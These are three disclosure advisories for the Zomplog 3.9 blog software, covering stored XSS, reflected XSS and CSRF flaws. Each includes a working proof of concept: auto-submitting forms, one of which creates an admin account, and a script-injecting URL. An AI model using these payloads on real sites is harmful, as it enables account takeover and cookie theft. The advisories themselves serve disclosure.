Zomplog 3.9 Cross Site Request Forgery / Cross Site Scripting

`==============================================  
Vulnerability ID: HTB22643  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_zomplog_1.html  
Product: Zomplog  
Vendor: Gerben Schmidt ( http://www.zomp.nl/zomplog/ )   
Vulnerable Version: 3.9 and probably prior versions  
Vendor Notification: 13 October 2010   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "/admin/settings_menu.php" script to properly sanitize user-supplied input in "about" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/admin/settings_menu.php" method="post" enctype="multipart/form-data" name="main">  
<input type="hidden" name="Submit" value="Submit ››">  
<input type="hidden" name="search" value="1">  
<input type="hidden" name="teasers" value="1">  
<input type="hidden" name="archive" value="1">  
<input type="hidden" name="latestentries" value="1">  
<input type="hidden" name="nr_entries" value="10">  
<input type="hidden" name="latestcomments" value="1">  
<input type="hidden" name="nr_comments" value="10">  
<input type="hidden" name="categories" value="1">  
<input type="hidden" name="authors" value="1">  
<input type="hidden" name="pages" value="1">  
<input type="hidden" name="meta" value="1">  
<input type="hidden" name="login" value="1">  
<input type="hidden" name="use_join" value="1">  
<input type="hidden" name="powered" value="1">  
<input type="hidden" name="about" value='about"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="customfield" value="customfield">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
==============================================  
Vulnerability ID: HTB22644  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_zomplog_2.html  
Product: Zomplog  
Vendor: Gerben Schmidt ( http://www.zomp.nl/zomplog/ )   
Vulnerable Version: 3.9 and probably prior versions  
Vendor Notification: 13 October 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "/admin/editor_pages.php" script to properly sanitize user-supplied input in "id" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
http://host/admin/editor_pages.php?id=1'"><script>alert(document.cookie)</script>  
  
  
==============================================  
Vulnerability ID: HTB22645  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_zomplog.html  
Product: Zomplog  
Vendor: Gerben Schmidt ( http://www.zomp.nl/zomplog/ )   
Vulnerable Version: 3.9 and probably prior versions  
Vendor Notification: 13 October 2010   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/admin/users.php" script to properly verify the source of HTTP request.  
  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/admin/users.php" method="post">  
<input type="hidden" name="login" value="newuserlogin">  
<input type="hidden" name="password" value="password">  
<input type="hidden" name="password2" value="password">  
<input type="hidden" name="admin" value="1">  
<input type="submit" id="btn" name="submit" value="Submit ››">  
</form>  
<script>  
document.getElementById('btn').click();  
</script>  
  
  
`